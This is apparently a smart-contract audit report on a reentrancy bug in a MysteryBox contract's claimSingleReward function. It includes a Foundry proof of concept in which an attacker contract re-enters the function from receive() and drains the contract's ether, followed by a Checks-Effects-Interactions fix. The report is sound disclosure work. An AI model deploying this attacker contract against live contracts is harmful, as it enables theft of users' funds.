Summary
The claimSingleReward function in the MysteryBox contract contains a critical vulnerability that can be exploited through reentrancy, which allows malicious users to drain the contract's funds.
Vulnerability Details
Whenever users want to claim individual rewards, they can call the claimSingleReward function. This function calculates the specific reward value and transfers it to the user. However, a serious problem arises because the function modifies the rewardsOwned mapping after transferring the funds, thereby introducing potential reentrancy vulnerabilities.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
This allows a user to drain all funds by repeatedly calling claimSingleReward from a malicious contract.
Impact
This vulnerability allows malicious actors to drain all funds from the contract by repeatedly invoking claimSingleReward.
PoC
Write the following code to TestMysteryBox.t.sol:
contract MysteryBoxTest is Test{
...
function testReentrancySingleReward() public {
address alice = makeAddr("alice");
vm.deal(alice, 2 ether);
vm.startPrank(alice);
Reentrancy attackContract = new Reentrancy{value: 1 ether}(address(mysteryBox));
vm.deal(address(mysteryBox), 100 ether);
uint256 contractBalance = address(mysteryBox).balance;
console.log("Contract balance before attack:", contractBalance);
uint256 attackerBalance = address(attackContract).balance;
console.log("Attacker balance before attack:", attackerBalance);
attackContract.drainFunds();
vm.stopPrank();
contractBalance = address(mysteryBox).balance;
console.log("Contract balance after attack:", contractBalance);
attackerBalance = address(attackContract).balance;
console.log("Attacker balance after attack:", attackerBalance);
assert(attackerBalance >= 100 ether);
}
...
}
contract Reentrancy is Test {
MysteryBox mysteryBox;
constructor(address _mysteryBox) payable {
mysteryBox = MysteryBox(_mysteryBox);
}
receive() external payable {
if (address(mysteryBox).balance > 0.1 ether) {
mysteryBox.claimSingleReward(2);
}
}
function drainFunds() public {
uint256 price = mysteryBox.boxPrice();
for (uint8 i = 0; i < 5; i++) {
mysteryBox.buyBox{value: price}();
}
for (uint8 i = 0; i < 5; i++) {
mysteryBox.openBox();
vm.warp(block.timestamp + 1000);
}
mysteryBox.claimSingleReward(2);
}
}
Output:
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancySingleReward() (gas: 3039786)
Logs:
Reward Pool Length: 4
Contract balance before attack: 100000000000000000000
Attacker balance before attack: 1000000000000000000
Contract balance after attack: 0
Attacker balance after attack: 101000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.31ms (7.50ms CPU time)
The attacker must know in advance the index that holds Ether. This allows malicious actors to drain all funds available in the contract, demonstrating the dangers of the current implementation.
Tools Used
Recommendations
To mitigate this vulnerability, modify the claimSingleReward function to follow the Checks-Effects-Interactions (CEI) pattern. This will help ensure that state changes are made before any external calls.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
